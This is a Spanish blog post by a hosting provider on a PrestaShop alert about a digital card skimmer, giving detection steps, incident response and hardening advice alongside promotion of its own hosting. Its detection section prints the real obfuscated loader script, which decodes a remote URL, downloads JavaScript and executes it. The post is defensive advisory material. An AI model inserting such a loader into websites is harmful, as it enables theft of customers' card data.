PrestaShop ha emitido una alerta urgente que afecta directamente a miles de tiendas online en todo el mundo. Un nuevo malware tipo «digital skimmer» está comprometiendo el proceso de pago de los clientes, robando información sensible de tarjetas de crédito y débito sin que los propietarios de las tiendas se den cuenta.
En k3bone.com nos tomamos la seguridad de tu e-commerce muy en serio. Por eso, hemos analizado esta amenaza en profundidad para ayudarte a detectar si tu tienda online está afectada y qué medidas debes tomar de inmediato para proteger tu negocio y la confianza de tus clientes.
Qué es este ataque y cómo funciona el skimmer
Este tipo de amenaza, conocida técnicamente como «skimming» o «digital skimmer», representa uno de los ataques más peligrosos para cualquier e-commerce. El malware se infiltra en el código de tu tienda y modifica los botones de pago legítimos por versiones fraudulentas que parecen idénticas a las originales.
Cuando un cliente intenta realizar una compra y hace clic en el botón de pago, es redirigido silenciosamente a un formulario falso diseñado específicamente para capturar todos los datos de pago: número de tarjeta, fecha de caducidad, código CVV e incluso información personal. El cliente no percibe nada anómalo, ya que la experiencia visual es prácticamente idéntica a la original, pero toda la información sensible queda expuesta en manos de los ciberdelincuentes.
Según la alerta oficial de PrestaShop, este skimmer se inyecta directamente en el archivo themes/[tu-tema]/templates/_partials/head.tpl. Esto significa que el atacante ha conseguido acceso de escritura a los archivos de tu servidor, lo cual es extremadamente grave y requiere una revisión exhaustiva de todos los puntos de acceso de tu tienda PrestaShop.
Cómo detectar si tu tienda PrestaShop está infectada
La detección temprana es fundamental para minimizar el daño. Te presentamos dos métodos sencillos para verificar si tu tienda online ha sido comprometida por este skimmer.
Verificación a través del navegador (método rápido)
El primer paso es abrir tu tienda en cualquier navegador y navegar hasta la página de checkout o finalización de compra. Haz clic derecho sobre la página y selecciona «Inspeccionar elemento» o simplemente pulsa F12 para abrir las herramientas de desarrollo del navegador.
Busca en el código fuente etiquetas <script> sospechosas. PrestaShop ha identificado un patrón específico que indica infección: un script que utiliza la función atob() para decodificar código malicioso en base64. Si encuentras código similar al siguiente, tu tienda está comprometida:
<script>(function(){var x=new XMLHttpRequest;x.open('GET',atob('aHR0cHM6Ly9wbHZiLnN1L2J0Lmpz'));x.onload=function(){if(200===x.status)try{Function(x.responseText)()}catch(e){}};x.send();})();</script>Es importante destacar que la cadena codificada en base64 varía en cada ataque, pero la estructura y el uso de atob() son consistentes. El malware intenta camuflarse modificando ligeramente su código en cada instalación, por lo que debes estar atento a cualquier script que realice peticiones XMLHttpRequest a URLs codificadas.
Verificación en el servidor (método definitivo)
Para una revisión más exhaustiva, conéctate a tu servidor mediante FTP o SFTP utilizando un cliente como FileZilla. Navega hasta la ruta themes/[tu-tema-activo]/templates/_partials/ y descarga el archivo head.tpl a tu ordenador.
Abre el archivo con cualquier editor de texto y busca el código malicioso mencionado anteriormente. Revisa también la fecha de última modificación del archivo: si ha cambiado recientemente sin que hayas realizado actualizaciones deliberadas, es una señal de alerta importante que indica posible actividad maliciosa.
Qué hacer inmediatamente si detectas la infección
Si has confirmado que tu tienda PrestaShop está infectada, debes actuar con la máxima urgencia para proteger a tus clientes y cumplir con la normativa de protección de datos.
Pasos urgentes de contención
Lo primero es contactar urgentemente con tu agencia de desarrollo web o con un experto en ciberseguridad especializado en e-commerce. No intentes solucionar el problema por tu cuenta si no tienes experiencia técnica, ya que podrías dejar puertas traseras abiertas o eliminar evidencia importante para la investigación.
Abre inmediatamente un ticket de soporte con PrestaShop a través de su centro de ayuda oficial y notifica el incidente. Es fundamental realizar una auditoría de seguridad completa que no se limite únicamente a eliminar el código visible, sino que investigue cómo los atacantes consiguieron acceso inicial a tu sistema.
Revisa los logs de acceso de tu servidor para identificar direcciones IP sospechosas, intentos de acceso no autorizados y archivos modificados en fechas recientes. Cambia todas las contraseñas: acceso FTP, panel de administración de PrestaShop, base de datos y cualquier otro punto de acceso crítico.
Medidas de mitigación y recuperación
Una vez controlada la infección inmediata, debes actualizar PrestaShop, todos los módulos y el tema a sus últimas versiones estables. Restaura los archivos afectados desde backups limpios que tengas fehaciente certeza de que son anteriores a la infección.
Si tienes evidencia o sospechas de que datos de pago de clientes han sido comprometidos, debes notificar a los afectados según lo establecido por el RGPD. Considera también la posibilidad de contratar un servicio de monitoreo de seguridad continuo para evitar futuros incidentes.
Cómo proteger tu tienda PrestaShop a largo plazo
La prevención es siempre la mejor estrategia. Implementar medidas de seguridad robustas te ayudará a mantener tu tienda online protegida contra amenazas actuales y futuras.
Buenas prácticas de seguridad esenciales
Mantén siempre actualizado PrestaShop, los módulos instalados y el tema activo a sus últimas versiones. Los desarrolladores corrigen constantemente vulnerabilidades, y utilizar versiones obsoletas es una invitación abierta a los atacantes.
Utiliza contraseñas fuertes y únicas para cada punto de acceso: panel de administración, FTP, base de datos y hosting. Implementa la autenticación de dos factores (2FA) siempre que sea posible, especialmente en el backoffice de PrestaShop. Realiza backups automáticos diarios de todo tu sitio y guárdalos en ubicaciones externas seguras.
Infraestructura de hosting segura
Elige un proveedor de hosting que ofrezca protección integral: firewall de aplicaciones web (WAF), escaneo automático de malware, protección Anti-DDoS y aislamiento de cuentas mediante tecnologías como CloudLinux con CageFS.
En k3bone.com proporcionamos todos estos servicios de seguridad premium en todos nuestros planes de hosting, incluyendo certificados SSL gratuitos, autenticación de email (DKIM, DMARC, SPF) y monitorización 24/7 de nuestros servidores. Limita los permisos de archivos en tu servidor: los directorios deben tener permisos 755 como máximo y los archivos 644. Evita a toda costa los permisos 777.
Consecuencias de ignorar esta alerta de seguridad
No tomar en serio esta amenaza puede tener consecuencias devastadoras para tu negocio. Un ataque exitoso de skimmer no solo compromete los datos de pago de tus clientes, sino que destruye la reputación de tu marca y puede resultar en sanciones legales severas.
Bajo el Reglamento General de Protección de Datos (RGPD), como responsable del tratamiento de datos personales, tienes la obligación de implementar medidas técnicas y organizativas apropiadas para garantizar la seguridad del tratamiento. Un fallo de seguridad de esta magnitud puede resultar en multas de hasta el 4% de tu volumen de negocio anual global o 20 millones de euros, whichever is higher.
Las pasarelas de pago pueden suspender tu cuenta si detectan actividad fraudulenta en tu tienda. Google y otros buscadores penalizan sitios web que alojan malware, eliminándolos de sus resultados de búsqueda y marcándolos como peligrosos, lo que arruinaría tu posicionamiento SEO y tráfico orgánico. La pérdida de confianza de tus clientes es, a menudo, el daño más difícil de reparar.
Conclusión
¿Has revisado ya tu tienda PrestaShop? Tómate cinco minutos ahora mismo para verificar si estás afectado. La seguridad de tu negocio y la confianza de tus clientes dependen de tu proactividad.
Si necesitas asesoramiento especializado o sospechas que tu tienda online ha sido comprometida, no dudes en contactar con nuestro equipo de soporte en k3bone.com. Estamos disponibles 24/7 para ayudarte a proteger tu negocio.
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